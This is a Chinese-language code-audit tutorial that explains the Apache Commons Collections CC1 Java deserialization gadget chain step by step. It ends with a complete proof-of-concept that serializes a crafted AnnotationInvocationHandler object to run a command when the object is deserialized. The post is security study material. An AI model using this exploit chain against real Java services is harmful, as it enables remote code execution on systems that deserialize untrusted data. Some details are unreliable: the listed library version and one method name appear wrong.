Java反序列化 - CC1鏈 (程式碼審計)

OneCoffee發表於2024-10-22

R### 一、環境準備:

Java環境:Java_1.8.0_8u65
Apache Commons Collections 3.2.2版本

二、漏洞簡述:

cc鏈是Apache commons collections反序列漏洞利用鏈的簡稱。可以透過構造惡意類,利用Java反序列化漏洞進行RCE。

漏洞復現:

CC1鏈源頭:org.apache.commons.collections.Transformer#transform 中的 Transformer介面。
image

1、觸發RCE的利用點:

(1) 檢視哪些類實現了 Transformer介面,跟進 InvokerTransformer類:
image

InvokerTransformer類中實現並重寫了 transform()方法:
image

其中 iMethodName,iParamTypes,iArgs三個引數可以透過 類InvokerTransformer公有建構函式來進行控制:
image

由此可以構造出一條RCE的鏈子:

import org.apache.commons.collections.functors.InvokerTransformer;

public class InvokeTransformerRCE {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(r);
    }
}

// Class cls = input.getClass()  --> Runtime.getRuntime().getClass() --> cls表示Runtime類的一個物件

//獲取Runtime類中的exec方法
// Method method = cls.getMethod(this.iMethodName, this.iParamTypes) --> cls.getMethod("exec", new Class[]{String.class})

//進行命令執行
//exec.invoke(Runtime.getRuntime(), "calc") --> Runtime.getRuntime().exec("calc");

image

2、利用鏈:

(一) 跟進 transform()方法,檢視其在哪些地方被呼叫,其中 transformedMap類中的checkValue()方法呼叫了transform():
image

分析 checkValue()方法,可以看到結果返回 valueTransformer的transform方法,向上查詢 valueTransformer是否可控。透過查詢得知 valueTransformer 在 TransformedMap方法中被賦值:
image

但是 TransformedMap方法的屬性為 protected,這導致該方法只有內部類可以進行訪問呼叫,繼續向上查詢,可以看到在decorate()方法中呼叫了該方法,並且屬性為public,valueTransformer值可控:
image

由此形成了一條利用鏈:

decorate(map, null, invokeTransformer)方法 --> TransformedMap()方法 --> valueTransformer = invokeTransformer -> checkSetValue()方法 --> invokeTransformer.transform(value)

(二) 但是 checkSetValue(Object Value)方法的屬性為 protected,這也代表著 checkSetValue只能被內部類訪問呼叫,這就需要查詢 checkSetValue()方法在哪些地方被呼叫:
image

image

IDEA提示 字類TransformedMap 中的 checkSetValue()方法實現了 父類AbstractInputCheckedMapDecorator 中的方法,跟進,發現 TransformedMap 中的 checkSetValue()方法 實現了父類中的 checkSetValue()抽象方法:
image

並且 父類AbstractInputCheckedMapDecorator中的 副類MapEntry中的 公有屬性的setValue()方法呼叫了checkSetValue()方法:
image

副類MapEntry中的 setValue()方法重寫了 AbstractMapEntryDecorator中的 checkSetValue()方法:
image

image

類AbstractMapEntryDecorator中的 setValue方法實現了 介面Map.Entry中的 setValue方法:
image

image

image

由此形成了一條利用鏈:

進行Map鍵值對遍歷 --> 呼叫 setValue()方法 --> 由 setValue()方法來呼叫checkValue()方法

image

由此可以進行命令執行:

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class TransformedMapRCE {
    public static void main(String[] args) {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key", "value");
        
        //賦值-->valueTransformer = invokerTransformer
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

        //遍歷Map常用格式
        for(Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
            entry.setValue(r);
        }
    }
}

image

(三) 由上述分析已經得知遍歷Map->entry.setValue()會造成RCE,則查詢哪些地方呼叫了 setValue()方法,並控制引數值即可,跟進 AnnotationInvocationHandle類:
image

來到漏洞產生的位置,AnnotationInvocationHandler類中重寫了 readObject()方法,並且進行了Map遍歷並使用了 memberValue.setValue()方法,那麼只需要 memberValues可控即可:
image

跟進 memberValues,可知 memberValues在類AnnotationInvocationHandler的建構函式中被賦值,但是AnnotationInvocationHandler的構造方法沒有宣告public等屬性,所以該構造方法的屬性為default,只能在本包(sun.reflect.annotation)中被呼叫,所以利用Java反射機制來呼叫該構造方法並進行賦值:
image

利用Java反射機制呼叫其構造方法:

//獲取AnnotationInvocationHandler類
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

//獲取AnnotationInvocationHandler類的構造方法
        Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);

//提升許可權
        annotationInvocationHandlerConstructor.setAccessible(true);

//例項化物件,並給 memberValues賦值,使其可控
        Object object = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);

並且類AnnotationInvocationHandler 實現了Serializable介面,可以直接進行序列化與反序列化,所以可以先序列化其例項物件,然後進行反序列化,透過利用類AnnotationInvocationHandler重寫的 readObject()方法實現RCE。

故初步完整的利用鏈POC程式碼如下所示:

public static void main(String[] args) throws Exception {
    Runtime runtime = Runtime.getRuntime();
    InvokerTransformer invokerTransformer = new InvokerTransformer(
            "exec", new Class[]{String.class}, new Object[]{"calc"});
    HashMap<Object,Object> map=new HashMap<>();
    map.put("key","value"); //給map一個鍵值對,方便遍歷

    Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);


    // 獲取sun.reflect.annotation.AnnotationInvocationHandler類的Class物件
    Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");


    // 獲取指定引數型別的建構函式Constructor物件,這裡我們能獲取到估計就是它的那個建構函式
    Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
    // 相當於提升自己許可權,以便可以訪問非公共建構函式
    constructor.setAccessible(true);

    //這裡第一個是引數是註解的類原型,第二個就是我們之前的類
    // 使用newInstance()方法建立一個新的AnnotationInvocationHandler例項
    // 傳遞Override.class和decorate兩個引數給建構函式
    Object o = constructor.newInstance(Override.class, transformedMap);
    serialize(o);  //序列化
    unserialize("CC1.txt"); //反序列化

}

//定義序列化方法
public static void serialize(Object object) throws Exception{
    ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
   oos.writeObject(object);
}

//定義反序列化方法
public static void unserialize(String filename) throws Exception{
   ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
   objectInputStream.readObject();
}

(四) 但是這段POC並不是完整的正確的POC,因為有三個利用條件上述POC並未滿足:

(1) Runtime類並未實現Serializable介面,不可以被序列化:
image

但是Runtime的原型類實現了 Serializable介面,可以利用Java反射來呼叫 Runtime:

//獲取 getRuntime()方法
//其中 Runtime.class -> java.lang.Runtime,Runtime.class.getClass() -> java.lang.Class
//最終呼叫為 java.lang.Class.getMethod("getDeclaredMethod", new Class[]{String.class, Class[].class}).invoke(Runtime.class, "getRuntime") --> Runtime.class.getDeclaredMethod("getRuntime", null) --> Runtime.getRuntime()
Method getRuntime = (Method) new InvokerTransformer("getDeclared", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

//獲取 Runtime例項
Runtime runtime = (Runtime) new InvokerTransformer(
                "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);

//執行命令RCE
new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]{"calc"}).transform(runtime);

image

但是上述寫法略顯冗餘,可以透過呼叫 ChainedTransformer類中方法來實現簡化。ChainedTransformer類實現了Transformer, Serializable兩介面,符合條件:
image

類中建構函式 ChainedTransformer(Transformer[] transformers)接受一個陣列作為引數,然後重寫 transform()方法對陣列使用 for迴圈來實現邏輯:
image

利用 ChainedTransformer類來簡化 Java反射Runtime的程式碼:

Transformer[] transformers = new Transformer[]{
                new InvokerTransformer(
                        "getDeclaredMethod", new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                new InvokerTransformer(
                        "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); 
        chainedTransformer.transform(runtimeClass);

image

(2) 符合類AnnotationInvocationHandler重寫的 readObject()方法中執行memberValue.setValue()前的兩個if條件語句:
image

在 readObject()方法處下斷點,發現未透過第一個 if條件的限制,原因為 memberType為空:
image

annotationType = AnnotationType.getInstance(type); 中的 type由建構函式傳值,值為 Override.class:
image

annotationType = AnnotationType.getInstance(type); 獲取 Override註解的例項 -->
Map<String, Class> memberTypes = annotationType.memberTypes();用於獲取註解的所有成員及其型別的對映 --> Class memberType = memberTypes.get(name); 用於檢視名為 name 的成員在在 memberTypes中是否存在

跟進 Override註解,可以看到註解中的成員為空,所以導致了 memberType 恆為 null,從而導致無法透過第一個 if 條件的校驗:
image

所以不能使用成員為空的 Override註解,換用 Target註解:
image

修改如下:
image

更換後重新進行除錯,此時已經可以透過兩個 if 條件的校驗。

(3) 雖然解決了 (1) 和 (2) 兩個問題,但是依然存在關鍵的一步問題,就是 setValue()方法中的引數此時不是理想值,因為 readObject()方法中提前寫好了 setValue()的引數值,此值使用者不可控。

可以透過利用 ConstantTransformer中的構造方法與 transform方法來解決:
image

image

最終 CC1鏈的完整POC如下:

public static void main(String[] args) throws Exception {
        Class<?> runtime = Class.forName("java.lang.Runtime");
        //建立一個Transformer數值用於儲存InvokerTransformer的資料,便於遍歷
        Transformer[] Transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        //呼叫含參構造器傳入Transformer陣列,然後呼叫transform方法,這裡物件只需要傳一個原始的Runtime就行,因為其他都是巢狀的。
        ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);


        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        Object object = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);

        serialize(object);
        unserialize("CC1.txt");
    }

    //定義序列化方法
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
        oos.writeObject(object);
    }

    //定義反序列化方法
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
    }

成功RCE:
image

相關文章